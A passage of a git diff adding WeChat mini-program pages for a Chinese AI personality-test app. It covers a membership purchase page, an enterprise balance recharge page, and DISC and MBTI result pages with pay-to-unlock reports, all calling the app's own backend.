wx.request({ + url: `${apiBase.replace(/\/$/, '')}/api/crm/report`, + method: 'POST', + header: { + Authorization: `Bearer ${wx.getStorageSync('token') || ''}`, + 'Content-Type': 'application/json', + }, + data: { + apiKey, + source, + remark, + siteTags: category.title || '', + }, + success(res) { + console.log('[CRM] 线索上报结果', res.data) + }, + fail(err) { + console.warn('[CRM] 线索上报请求失败', err) + }, + }) + }, + + onShareAppMessage() { + const { getSharePath } = require('../../utils/share') + return { title: '神仙团队AI性格测试 - 发现你的内在潜能', path: getSharePath('/pages/purchase/index') } + }, + + onShareTimeline() { + const { buildShareQuery } = require('../../utils/share') + return { + title: '神仙团队AI性格测试 - 发现你的内在潜能', + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/purchase/index.json b/miniprogram/pages/purchase/index.json new file mode 100644 index 0000000..ad2e595 --- /dev/null +++ b/miniprogram/pages/purchase/index.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "开通会员", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/miniprogram/pages/purchase/index.wxml b/miniprogram/pages/purchase/index.wxml new file mode 100644 index 0000000..ed90bd5 --- /dev/null +++ b/miniprogram/pages/purchase/index.wxml @@ -0,0 +1,135 @@ + + + + + + + + + + + {{successModal.title}} + {{successModal.content}} + + 客服微信 + {{successModal.wechat}} + + + + + + + + + + + + 加载中... + + + + + + + {{item.title}} + + ¥ + {{item.price}} + {{item.priceUnit || '/次'}} + + {{item.subtitle}} + + + + + {{f}} + + + + + + + + + 暂无可用的个人版套餐 + + + + + + + + + {{item.title}} + {{item.subtitle}} + + + {{item.priceDisplay || '¥' + item.price}} + {{item.userLimit}} + + + + + + {{f}} + + + + + + + + + 暂无可用的企业版套餐 + + + + + + 🔒 + 微信安全支付 + + + + 即时到账开通 + + + 📞 + 7×24客服 + + + diff --git a/miniprogram/pages/purchase/index.wxss b/miniprogram/pages/purchase/index.wxss new file mode 100644 index 0000000..e6cbdd2 --- /dev/null +++ b/miniprogram/pages/purchase/index.wxss @@ -0,0 +1,789 @@ +/* pages/purchase/index.wxss - 按旧版模板重构 */ + +/* ── 成功弹窗 ── */ +.success-mask { + position: fixed; + top: 0; left: 0; right: 0; bottom: 0; + background: rgba(0, 0, 0, 0.5); + z-index: 999; + display: flex; + align-items: center; + justify-content: center; +} + +.success-dialog { + width: 600rpx; + background: #fff; + border-radius: 24rpx; + padding: 56rpx 40rpx 40rpx; + display: flex; + flex-direction: column; + align-items: center; +} + +.success-icon-wrap { + margin-bottom: 32rpx; +} + +.success-icon-circle { + width: 120rpx; + height: 120rpx; + border-radius: 50%; + background: linear-gradient(135deg, #22c55e, #16a34a); + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 24rpx rgba(34, 197, 94, 0.35); +} + +.success-icon-check { + font-size: 56rpx; + color: #fff; + font-weight: bold; + line-height: 1; +} + +.success-dialog-title { + font-size: 40rpx; + font-weight: bold; + color: #1a1a1a; + margin-bottom: 20rpx; +} + +.success-dialog-content { + font-size: 28rpx; + color: #555; + text-align: center; + line-height: 1.7; + margin-bottom: 32rpx; +} + +.success-wechat-wrap { + width: 100%; + background: #f5f5f5; + border-radius: 12rpx; + padding: 20rpx 24rpx; + margin-bottom: 32rpx; + display: flex; + align-items: center; + gap: 16rpx; +} + +.success-wechat-label { + font-size: 24rpx; + color: #999; + flex-shrink: 0; +} + +.success-wechat-val { + font-size: 28rpx; + color: #333; + font-weight: 500; + flex: 1; + word-break: break-all; +} + +.success-dialog-btns { + width: 100%; + display: flex; + flex-direction: row; + gap: 16rpx; +} + +.success-btn-copy { + flex: 1; + background: #2563eb; + color: #fff; + font-size: 28rpx; + font-weight: 500; + padding: 24rpx 0; + border-radius: 12rpx; + border: none; +} + +.success-btn-close { + flex: 1; + background: #f5f5f5; + color: #333; + font-size: 28rpx; + padding: 24rpx 0; + border-radius: 12rpx; + border: none; +} + + +.container { + width: 100vw; + min-height: 100vh; + background-color: #f5f5f5; + padding-bottom: 160rpx; +} + +/* 用户权益状态 */ +.status-card { + display: flex; + align-items: center; + padding: 40rpx; + margin: 24rpx; + background: #fff; + border-radius: 16rpx; + box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.04); +} + +.status-card.vip { + background: linear-gradient(135deg, #faf5ff 0%, #f3e8ff 100%); + border: 2rpx solid #9333ea; +} + +.status-icon { + font-size: 48rpx; + margin-right: 20rpx; +} + +.status-info { + flex: 1; +} + +.status-title { + display: block; + font-size: 32rpx; + font-weight: bold; + color: #333; +} + +.status-desc { + display: block; + font-size: 24rpx; + color: #666; + margin-top: 4rpx; +} + +.test-count { + text-align: center; +} + +.count-num { + display: block; + font-size: 40rpx; + font-weight: bold; + color: #9333ea; +} + +.count-label { + display: block; + font-size: 22rpx; + color: #999; +} + +/* 区块 */ +.section { + margin: 24rpx; +} + +.section-title { + display: block; + font-size: 34rpx; + font-weight: bold; + color: #333; + margin-bottom: 8rpx; +} + +.section-subtitle { + display: block; + font-size: 24rpx; + color: #999; + margin-bottom: 24rpx; +} + +/* Tabs 区域 */ +.tabs-container { + background-color: #fff; + padding: 24rpx 32rpx; + margin: 24rpx; + border-radius: 16rpx; +} + +.tabs-list { + display: flex; + background-color: #f5f5f5; + border-radius: 12rpx; + padding: 8rpx; +} + +.tab-item { + flex: 1; + display: flex; + align-items: center; + justify-content: center; + padding: 16rpx 24rpx; + border-radius: 8rpx; + transition: all 0.3s; +} + +.tab-item.active { + background-color: #fff; +} + +.tab-icon { + font-size: 32rpx; + margin-right: 8rpx; +} + +.tab-text { + font-size: 28rpx; + color: #666; +} + +.tab-item.active .tab-text { + color: #333; + font-weight: 500; +} + +.loading-wrap { + padding: 80rpx; + text-align: center; +} + +.loading-text { + font-size: 28rpx; + color: #999; +} + +.empty-tip { + padding: 60rpx 24rpx; + text-align: center; + font-size: 28rpx; + color: #999; +} + +/* 定价卡片(已去除个人版/企业版彩色边框,统一灰色细边) */ +.pricing-card { + background-color: #fff; + border-radius: 16rpx; + padding: 40rpx; + margin-bottom: 24rpx; + border: 2rpx solid #e5e5e5; +} + +.pricing-card.featured, +.pricing-card.featured-blue { + border-color: #e5e5e5; + border-width: 2rpx; +} + +/* 企业版 header flex 布局 */ +.card-header-flex { + display: flex; + justify-content: space-between; + align-items: flex-start; + margin-bottom: 32rpx; +} + +.header-left { + flex: 1; +} + +.plan-title-sm { + font-size: 36rpx; + font-weight: bold; + color: #333; + display: block; + margin-bottom: 8rpx; +} + +.plan-desc { + font-size: 24rpx; + color: #666; + display: block; +} + +.header-right { + text-align: right; +} + +.price-amount-small { + font-size: 40rpx; + font-weight: bold; + color: #333; + display: block; + margin-bottom: 4rpx; +} + +.price-limit { + font-size: 22rpx; + color: #999; + display: block; +} + +.check-icon.blue { + background-color: #2563eb; +} + +.purchase-button.secondary { + background-color: #2563eb; +} + +.card-header { + text-align: center; + margin-bottom: 32rpx; +} + +.plan-title { + font-size: 40rpx; + font-weight: bold; + color: #333; + display: block; + margin-bottom: 20rpx; +} + +.price-section { + display: flex; + align-items: baseline; + justify-content: center; + margin-bottom: 16rpx; +} + +.price-symbol { + font-size: 40rpx; + color: #333; + font-weight: bold; +} + +.price-amount { + font-size: 72rpx; + font-weight: bold; + color: #333; + margin: 0 8rpx; +} + +.price-unit { + font-size: 28rpx; + color: #666; +} + +.plan-subtitle { + font-size: 26rpx; + color: #666; + display: block; +} + +/* 功能列表 */ +.features-list { + margin-bottom: 32rpx; +} + +.feature-item { + display: flex; + align-items: flex-start; + margin-bottom: 20rpx; +} + +.feature-item:last-child { + margin-bottom: 0; +} + +.check-icon { + width: 32rpx; + height: 32rpx; + border-radius: 50%; + background-color: #22c55e; + color: #fff; + font-size: 20rpx; + display: flex; + align-items: center; + justify-content: center; + margin-right: 16rpx; + flex-shrink: 0; + text-align: center; +} + +.feature-text { + flex: 1; + font-size: 26rpx; + color: #666; + line-height: 1.6; +} + +/* 购买按钮 */ +.purchase-button { + width: 100%; + padding: 28rpx; + border-radius: 12rpx; + text-align: center; + box-sizing: border-box; +} + +.purchase-button.primary { + background-color: #9333ea; +} + +.purchase-button .button-text { + font-size: 32rpx; + color: #fff; + font-weight: 500; +} + +/* 分润机制 */ +.commission-section { + background-color: #f9fafb; + border-radius: 16rpx; + padding: 32rpx; + margin: 24rpx; +} + +.commission-header { + display: flex; + align-items: center; + margin-bottom: 24rpx; +} + +.commission-icon { + font-size: 32rpx; + margin-right: 12rpx; +} + +.commission-title { + font-size: 32rpx; + font-weight: 500; + color: #333; +} + +.commission-list { + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.commission-item { + display: flex; + justify-content: space-between; + align-items: center; +} + +.commission-label { + font-size: 26rpx; + color: #666; +} + +.commission-value { + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +/* VIP套餐网格 */ +.vip-cards { + display: grid; + grid-template-columns: repeat(2, 1fr); + gap: 16rpx; + margin-bottom: 32rpx; +} + +.vip-card { + position: relative; + background: #fff; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + padding: 24rpx; + text-align: center; +} + +.vip-card.selected { + border-color: #9333ea; + background: #faf5ff; +} + +.vip-card.hot { + border-color: #f59e0b; +} + +.vip-tag { + position: absolute; + top: 8rpx; + right: 8rpx; + background: #9333ea; + color: #fff; + font-size: 18rpx; + padding: 4rpx 12rpx; + border-radius: 8rpx; +} + +.vip-hot-tag, +.vip-best-tag { + position: absolute; + top: -2rpx; + left: 50%; + transform: translateX(-50%); + background: #f59e0b; + color: #fff; + font-size: 18rpx; + padding: 4rpx 16rpx; + border-radius: 0 0 8rpx 8rpx; +} + +.vip-best-tag { + background: #ef4444; +} + +.vip-name { + display: block; + font-size: 26rpx; + color: #333; + font-weight: 500; + margin-top: 16rpx; + margin-bottom: 12rpx; +} + +.vip-price { + display: flex; + align-items: baseline; + justify-content: center; + margin-bottom: 8rpx; +} + +.vip-price .price-symbol { + font-size: 28rpx; + color: #333; +} + +.vip-price .price-num { + font-size: 48rpx; + font-weight: bold; + color: #333; +} + +.vip-original { + display: block; + font-size: 22rpx; + color: #999; + text-decoration: line-through; +} + +.vip-avg { + display: block; + font-size: 22rpx; + color: #9333ea; + margin-top: 4rpx; +} + +/* 次数包 */ +.count-cards { + display: flex; + gap: 16rpx; +} + +.count-card { + flex: 1; + position: relative; + background: #fff; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + padding: 24rpx 16rpx; + text-align: center; +} + +.count-card.selected { + border-color: #9333ea; + background: #faf5ff; +} + +.count-save { + position: absolute; + top: -2rpx; + right: -2rpx; + background: #ef4444; + color: #fff; + font-size: 18rpx; + padding: 4rpx 12rpx; + border-radius: 0 8rpx 0 8rpx; +} + +.count-num-big { + font-size: 48rpx; + font-weight: bold; + color: #333; +} + +.count-unit { + font-size: 24rpx; + color: #999; + display: block; + margin-bottom: 12rpx; +} + +.count-price { + display: flex; + align-items: baseline; + justify-content: center; +} + +.count-price .price-symbol { + font-size: 24rpx; + color: #333; +} + +.count-price .price-num { + font-size: 36rpx; + font-weight: bold; + color: #333; +} + +/* 单次购买 */ +.single-list { + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.single-item { + display: flex; + align-items: center; + background: #fff; + border-radius: 16rpx; + padding: 24rpx; + border: 2rpx solid #e5e5e5; +} + +.single-icon { + font-size: 36rpx; + margin-right: 16rpx; +} + +.single-info { + flex: 1; +} + +.single-name { + display: block; + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +.single-desc { + display: block; + font-size: 22rpx; + color: #999; + margin-top: 4rpx; +} + +.single-price { + text-align: center; +} + +.single-price .price-num { + display: block; + font-size: 28rpx; + font-weight: bold; + color: #9333ea; +} + +.price-action { + display: block; + font-size: 22rpx; + color: #9333ea; +} + +/* 底部安全提示 */ +.safety-tips { + display: flex; + justify-content: center; + gap: 32rpx; + padding: 24rpx; + margin: 24rpx; +} + +.safety-item { + display: flex; + align-items: center; + gap: 8rpx; +} + +.safety-icon { + font-size: 24rpx; +} + +.safety-text { + font-size: 22rpx; + color: #999; +} + +.privileges { + background: #fff; + border-radius: 16rpx; + padding: 32rpx; +} + +.privilege-list { + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.privilege-item { + display: flex; + align-items: center; + gap: 12rpx; +} + +.privilege-icon { + font-size: 28rpx; +} + +.privilege-text { + font-size: 26rpx; + color: #333; +} + +.bottom-placeholder { + height: 160rpx; +} + +/* 底部购买栏 */ +.bottom-bar { + position: fixed; + bottom: 0; + left: 0; + right: 0; + background: #fff; + display: flex; + align-items: center; + padding: 24rpx 32rpx; + padding-bottom: calc(24rpx + env(safe-area-inset-bottom)); + box-shadow: 0 -2rpx 12rpx rgba(0, 0, 0, 0.06); + z-index: 100; +} + +.price-info { + flex: 1; + display: flex; + align-items: baseline; +} + +.total-label { + font-size: 28rpx; + color: #666; +} + +.total-price { + font-size: 40rpx; + font-weight: bold; + color: #e63946; +} + +.buy-btn { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + padding: 24rpx 48rpx; + border-radius: 48rpx; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.buy-btn.disabled { + opacity: 0.6; +} + +.buy-btn-text { + font-size: 30rpx; + font-weight: 600; + color: #fff; +} diff --git a/miniprogram/pages/recharge/index.js b/miniprogram/pages/recharge/index.js new file mode 100644 index 0000000..c9c81b8 --- /dev/null +++ b/miniprogram/pages/recharge/index.js @@ -0,0 +1,83 @@ +const app = getApp() +const payment = require('../../utils/payment') +const { request } = require('../../utils/request') + +Page({ + data: { + enterpriseId: 0, + enterpriseName: '', + amountFen: 0, + amountYuan: '0.00', + paying: false + }, + + onLoad(options) { + const rawScene = options && options.scene ? decodeURIComponent(options.scene) : '' + const sceneParams = {} + if (rawScene) { + rawScene.split('&').forEach(pair => { + const [k, v] = pair.split('=') + if (k) sceneParams[k] = v || '' + }) + } + + const enterpriseId = parseInt(sceneParams.eid || options.eid || 0, 10) || 0 + const amountFen = parseInt(sceneParams.a || options.amountFen || 0, 10) || 0 + const amountYuan = (amountFen / 100).toFixed(2) + + if (enterpriseId > 0) { + app.globalData.enterpriseIdFromScene = enterpriseId + } + + this.setData({ + enterpriseId, + enterpriseName: (app.globalData.userInfo && app.globalData.userInfo.enterpriseName) || '', + amountFen, + amountYuan + }) + + app.ensureLogin() + .then(() => { + if (enterpriseId > 0) { + request({ + url: '/api/enterprise/bind', + method: 'POST', + data: { enterpriseId }, + success: (res) => { + const payload = res && res.data && res.data.data ? res.data.data : {} + const enterpriseName = payload.enterpriseName || this.data.enterpriseName || '' + this.setData({ enterpriseName }) + }, + fail: () => {} + }) + } + }) + .catch(() => { + wx.showToast({ title: '请先登录', icon: 'none' }) + }) + }, + + submitRecharge() { + if (this.data.paying) return + if (!this.data.enterpriseId || !this.data.amountFen) { + wx.showToast({ title: '充值参数无效', icon: 'none' }) + return + } + + this.setData({ paying: true }) + payment.recharge({ + amountYuan: Number(this.data.amountYuan), + enterpriseId: this.data.enterpriseId, + success: () => { + this.setData({ paying: false }) + wx.showToast({ title: '充值成功', icon: 'success' }) + setTimeout(() => { + wx.navigateTo({ url: `/pages/enterprise/index?eid=${this.data.enterpriseId}` }) + }, 1200) + }, + fail: () => { + this.setData({ paying: false }) + } + }) + } +}) diff --git a/miniprogram/pages/recharge/index.json b/miniprogram/pages/recharge/index.json new file mode 100644 index 0000000..b9c0534 --- /dev/null +++ b/miniprogram/pages/recharge/index.json @@ -0,0 +1,3 @@ +{ + "navigationBarTitleText": "企业余额充值" +} diff --git a/miniprogram/pages/recharge/index.wxml b/miniprogram/pages/recharge/index.wxml new file mode 100644 index 0000000..6129271 --- /dev/null +++ b/miniprogram/pages/recharge/index.wxml @@ -0,0 +1,20 @@ + + + 企业余额充值 + 扫码后在小程序内完成支付,支付成功后自动进入企业余额 + + + 充值金额 + ¥{{amountYuan}} + + + + 企业名称 + {{enterpriseName || ('企业 #' + enterpriseId)}} + + + + + diff --git a/miniprogram/pages/recharge/index.wxss b/miniprogram/pages/recharge/index.wxss new file mode 100644 index 0000000..8f8c2d6 --- /dev/null +++ b/miniprogram/pages/recharge/index.wxss @@ -0,0 +1,106 @@ +.recharge-page { + min-height: 100vh; + padding: 40rpx 28rpx; + background: linear-gradient(180deg, #f5f3ff 0%, #ffffff 100%); + box-sizing: border-box; +} + +.card { + background: #ffffff; + border-radius: 32rpx; + padding: 40rpx 32rpx; + box-shadow: 0 20rpx 60rpx rgba(124, 58, 237, 0.08); + border: 2rpx solid rgba(124, 58, 237, 0.06); +} + +.title { + font-size: 40rpx; + font-weight: 700; + color: #111827; +} + +.subtitle { + margin-top: 16rpx; + font-size: 26rpx; + line-height: 1.7; + color: #6b7280; +} + +.amount-box { + margin-top: 36rpx; + padding: 32rpx; + background: #f8fafc; + border-radius: 24rpx; + text-align: center; +} + +.amount-label { + display: block; + font-size: 24rpx; + color: #6b7280; +} + +.amount-value { + display: block; + margin-top: 12rpx; + font-size: 64rpx; + font-weight: 700; + color: #7c3aed; +} + +.meta-row { + display: flex; + justify-content: space-between; + align-items: center; + margin-top: 28rpx; + padding: 24rpx 8rpx 0; + font-size: 26rpx; + gap: 24rpx; +} + +.meta-label { + color: #6b7280; +} + +.meta-value { + color: #111827; + font-weight: 600; + max-width: 420rpx; + text-align: right; + line-height: 1.5; +} + +.pay-btn { + margin-top: 44rpx; + height: 96rpx; + line-height: 96rpx; + border-radius: 999rpx; + background: linear-gradient(135deg, #7c3aed 0%, #8b5cf6 55%, #a855f7 100%); + color: #ffffff; + font-size: 30rpx; + font-weight: 600; + box-shadow: 0 18rpx 36rpx rgba(124, 58, 237, 0.28); + border: none; + display: flex; + align-items: center; + justify-content: center; +} + +.pay-btn::after { + border: none; +} + +.pay-btn-text { + position: relative; + padding-right: 28rpx; +} + +.pay-btn-text::after { + content: '>'; + position: absolute; + right: 0; + top: 50%; + transform: translateY(-50%); + font-size: 24rpx; + opacity: 0.9; +} diff --git a/miniprogram/pages/result/disc.js b/miniprogram/pages/result/disc.js new file mode 100644 index 0000000..41326fc --- /dev/null +++ b/miniprogram/pages/result/disc.js @@ -0,0 +1,157 @@ +// pages/result/disc.js - DISC结果页(支持付费墙 + 历史详情拉取) +const app = getApp() +const payment = require('../../utils/payment') + +function toIntPercent(v) { + if (v == null) return 0 + const n = typeof v === 'number' ? v : Number(v) + return Number.isFinite(n) ? Math.round(n) : 0 +} + +function withPercentagesInt(data) { + if (!data) return data + const p = data.percentages || {} + const out = { ...data } + out.percentagesInt = { + D: toIntPercent(p.D ?? p.d), + I: toIntPercent(p.I ?? p.i), + S: toIntPercent(p.S ?? p.s), + C: toIntPercent(p.C ?? p.c) + } + return out +} + +Page({ + data: { + result: null, + typeList: [ + { type: 'D', label: 'D型 - 支配型', colorClass: 'fill-d' }, + { type: 'I', label: 'I型 - 影响型', colorClass: 'fill-i' }, + { type: 'S', label: 'S型 - 稳健型', colorClass: 'fill-s' }, + { type: 'C', label: 'C型 - 谨慎型', colorClass: 'fill-c' } + ], + payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 }, + testResultId: null, + hasReloadedAfterPay: false + }, + + onLoad(options) { + const id = options && options.id + const type = options && options.type + if (id && type === 'disc') { + this.setData({ testResultId: id }) + this.loadDetail(id) + return + } + const result = wx.getStorageSync('discResult') + if (result) { + this.setData({ result: withPercentagesInt(result) }) + this.initPayInfoFromRuntime('disc') + } else { + wx.showToast({ title: '暂无测试结果', icon: 'none' }) + setTimeout(() => wx.navigateBack(), 1500) + } + }, + + loadDetail(id) { + const apiBase = app.globalData?.apiBase || '' + const token = app.globalData?.token || wx.getStorageSync('token') || '' + if (!apiBase) { wx.showToast({ title: '配置异常', icon: 'none' }); return } + wx.showLoading({ title: '加载中...' }) + wx.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: token ? { Authorization: `Bearer ${token}` } : {}, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const payload = res.data.data || {} + const data = payload.data || payload + const isPaid = !!payload.isPaid + const paidAmount = payload.paidAmount != null ? Number(payload.paidAmount) : 0 + const amountYuan = payload.amountYuan != null ? Number(payload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) + const needPaymentToUnlock = payload.needPaymentToUnlock === true || (!!payload.requiresPayment && !isPaid && paidAmount > 0) + this.setData({ result: withPercentagesInt(data) }) + const payInfo = { + requiresPayment: needPaymentToUnlock, + isPaid, + amountYuan: needPaymentToUnlock ? amountYuan : 0 + } + this.setData({ payInfo }) + } else { + wx.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) + } + }, + fail: () => wx.showToast({ title: '网络错误', icon: 'none' }), + complete: () => wx.hideLoading() + }) + }, + + initPayInfoFromRuntime(testType) { + app.getRuntimeConfig() + .then((cfg) => { + const reportRequires = cfg.reportRequiresPayment || {} + const pricing = cfg.pricing || {} + const requiresPayment = !!(reportRequires && reportRequires[testType]) + const amountYuan = Number(pricing[testType]) || (requiresPayment ? 1.98 : 0) + this.setData({ + payInfo: { requiresPayment, isPaid: false, amountYuan } + }) + }) + .catch(() => this.setData({ payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 } })) + }, + + unlockFullReport() { + const { payInfo, testResultId, hasReloadedAfterPay } = this.data + if (!payInfo.requiresPayment || payInfo.isPaid) return + app.ensureLogin && app.ensureLogin().then((logged) => { + if (!logged) { wx.showToast({ title: '请先登录', icon: 'none' }); return } + payment.purchaseDiscTest({ + testResultId: testResultId || undefined, + success: () => { + wx.showToast({ title: '已解锁完整报告', icon: 'success' }) + this.setData({ 'payInfo.isPaid': true }) + if (testResultId && !hasReloadedAfterPay) { + this.setData({ hasReloadedAfterPay: true }) + setTimeout(() => this.loadDetail(testResultId), 500) + } + }, + fail: () => {} + }) + }) + }, + + retakeTest() { + if (!this.data.testResultId) { + wx.removeStorageSync('discResult') + } + wx.navigateTo({ url: '/pages/test/disc' }) + }, + + goHome() { + const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' + if (scope === 'enterprise') { + wx.navigateTo({ url: '/pages/enterprise/index' }) + } else { + wx.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + const result = this.data.result + const { getSharePathByScope } = require('../../utils/share') + return { + title: `我的DISC类型是${result?.dominantType}型(${result?.description?.title}),来测测你的吧!`, + path: getSharePathByScope('/pages/index/index') + } + }, + + onShareTimeline() { + const result = this.data.result + const { buildShareQuery } = require('../../utils/share') + return { + title: `我的DISC类型是${result?.dominantType}型(${result?.description?.title}),来测测你的吧!`, + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/result/disc.json b/miniprogram/pages/result/disc.json new file mode 100644 index 0000000..3ad7bf6 --- /dev/null +++ b/miniprogram/pages/result/disc.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "DISC结果", + "navigationBarBackgroundColor": "#3B82F6", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/miniprogram/pages/result/disc.wxml b/miniprogram/pages/result/disc.wxml new file mode 100644 index 0000000..316d077 --- /dev/null +++ b/miniprogram/pages/result/disc.wxml @@ -0,0 +1,81 @@ + + + + + + + 您的DISC性格类型 + {{result.dominantType}}{{result.secondaryType ? ' + ' + result.secondaryType : ''}} + {{result.description.description}} + + + + + + 完整DISC报告 + • 四维得分详情 + • 性格特征与优劣势 + • 职业匹配建议 + + + + 解锁完整报告 + ¥{{payInfo.amountYuan}} / 次 + + + + + + DISC得分详情 + + + {{item.label}} + {{result.percentagesInt[item.type] != null ? result.percentagesInt[item.type] + '%' : '0%'}} + + + + + + + + + + 主要性格特征分析 + + 优势 + + + {{item}} + + + + 需要注意的方面 + + + {{item}} + + + + + + 职业匹配度分析 + + + {{item}} + + + + + + + 重新测试 + + + 返回首页 + + + + + diff --git a/miniprogram/pages/result/disc.wxss b/miniprogram/pages/result/disc.wxss new file mode 100644 index 0000000..7af2da6 --- /dev/null +++ b/miniprogram/pages/result/disc.wxss @@ -0,0 +1,197 @@ +/* pages/result/disc.wxss - 按旧版模板重构 */ +.result-page { + width: 100%; + min-height: 100vh; + background-color: #f5f5f5; +} + +.content-scroll { + width: 100%; + height: 100vh; +} + +.content-container { + padding: 32rpx; + padding-bottom: 64rpx; +} + +.type-card, +.analysis-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + margin-bottom: 32rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.type-header { + text-align: center; + margin-bottom: 40rpx; +} + +.type-label { + display: block; + font-size: 32rpx; + color: #333; +} + +.type-value { + display: block; + font-size: 56rpx; + font-weight: bold; + color: #8b5cf6; + margin: 16rpx 0; +} + +.type-description { + display: block; + font-size: 28rpx; + color: #666; + line-height: 1.6; +} + +.section-title, +.card-title { + display: block; + font-size: 34rpx; + font-weight: bold; + color: #333; + margin-bottom: 20rpx; +} + +.score-item { + margin-bottom: 18rpx; +} + +.score-header { + display: flex; + justify-content: space-between; + margin-bottom: 8rpx; +} + +.score-label, +.score-value { + font-size: 28rpx; + color: #666; +} + +.progress-bar-container { + width: 100%; + height: 14rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + border-radius: 8rpx; +} + +.fill-d { background: linear-gradient(90deg, #ef4444 0%, #f87171 100%); } +.fill-i { background: linear-gradient(90deg, #f59e0b 0%, #fbbf24 100%); } +.fill-s { background: linear-gradient(90deg, #10b981 0%, #34d399 100%); } +.fill-c { background: linear-gradient(90deg, #3b82f6 0%, #60a5fa 100%); } + +.trait-section { + margin-bottom: 18rpx; +} + +.trait-title { + display: block; + font-size: 30rpx; + color: #333; + margin-bottom: 8rpx; +} + +.trait-item { + display: flex; + align-items: flex-start; + margin-bottom: 6rpx; +} + +.trait-bullet { + margin-right: 12rpx; + color: #8b5cf6; +} + +.trait-text { + flex: 1; + font-size: 28rpx; + color: #666; + line-height: 1.6; +} + +.career-item { + display: flex; + align-items: center; + margin-bottom: 16rpx; +} + +.career-dot { + width: 14rpx; + height: 14rpx; + background-color: #8b5cf6; + border-radius: 50%; + margin-right: 16rpx; +} + +.career-text { + flex: 1; + font-size: 28rpx; + color: #333; +} + +.action-section { + margin-top: 16rpx; + padding-bottom: 40rpx; +} + +.btn { + display: flex; + align-items: center; + justify-content: center; + width: 100% !important; + padding: 28rpx; + border-radius: 16rpx; + margin-bottom: 20rpx; + border: none; + box-sizing: border-box; + overflow: hidden; +} + +.btn::after { + border: none; +} + +.btn-primary { + background: linear-gradient(135deg, #3B82F6 0%, #60a5fa 100%); + box-shadow: 0 8rpx 24rpx rgba(59, 130, 246, 0.3); +} + +.btn-outline { + background: #fff; + border: 2rpx solid #3B82F6; +} + +.btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +.btn-text-outline { + font-size: 30rpx; + color: #3B82F6; + font-weight: 500; +} + +.paywall-card { margin-top: 24rpx; border-radius: 24rpx; overflow: hidden; } +.paywall-content { position: relative; } +.paywall-blur { padding: 32rpx 24rpx 140rpx; border-radius: 24rpx; background: rgba(255,255,255,0.7); backdrop-filter: blur(18rpx); } +.paywall-mask { position: absolute; left: 0; top: 0; right: 0; bottom: 0; border-radius: 24rpx; background: linear-gradient(180deg, rgba(255,255,255,0.1), rgba(245,245,245,0.98)); pointer-events: none; } +.paywall-fake-title { display: block; font-size: 30rpx; font-weight: 600; color: #444; margin-bottom: 16rpx; } +.paywall-fake-line { display: block; font-size: 26rpx; color: #888; line-height: 1.8; } +.paywall-btn { position: absolute; left: 5%; right: 5%; width: 90%; bottom: 56rpx; padding: 20rpx 0; border-radius: 999rpx; background: linear-gradient(135deg, #3B82F6 0%, #60a5fa 100%); box-shadow: 0 8rpx 24rpx rgba(59,130,246,0.35); display: flex; flex-direction: row; align-items: baseline; justify-content: center; gap: 12rpx; } +.paywall-btn-main { font-size: 30rpx; color: #fff; font-weight: 600; } +.paywall-btn-price { font-size: 24rpx; color: #ffe5f0; } diff --git a/miniprogram/pages/result/mbti.js b/miniprogram/pages/result/mbti.js new file mode 100644 index 0000000..65d6eae --- /dev/null +++ b/miniprogram/pages/result/mbti.js @@ -0,0 +1,224 @@ +// pages/result/mbti.js - MBTI结果页(支持付费墙 + 历史详情拉取) +const app = getApp() +const payment = require('../../utils/payment') +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') + +Page({ + data: { + result: null, + dimensions: [], + mbtiDesc: { + title: '', + description: '', + strengths: [], + weaknesses: [], + careers: [], + relationships: '' + }, + payInfo: { + requiresPayment: false, + isPaid: false, + amountYuan: 0 + }, + testResultId: null, + hasReloadedAfterPay: false, + hasPhone: false + }, + + onLoad(options) { + const id = options && options.id + const type = options && options.type + + if (id && type === 'mbti') { + this.setData({ testResultId: id }) + this.loadDetail(id) + return + } + + const result = wx.getStorageSync('mbtiResult') + if (result) { + this.applyResult(result) + this.initPayInfoFromRuntime('mbti') + } else { + wx.showToast({ title: '暂无测试结果', icon: 'none' }) + setTimeout(() => wx.navigateBack(), 1500) + } + }, + + onShow() { + if (!ensureProfileCompleteAndRedirect()) return + this.setData({ hasPhone: hasPhone() }) + }, + + loadDetail(id) { + const apiBase = app.globalData?.apiBase || '' + const token = app.globalData?.token || wx.getStorageSync('token') || '' + if (!apiBase) { + wx.showToast({ title: '配置异常', icon: 'none' }) + return + } + wx.showLoading({ title: '加载中...' }) + wx.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: token ? { Authorization: `Bearer ${token}` } : {}, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const payload = 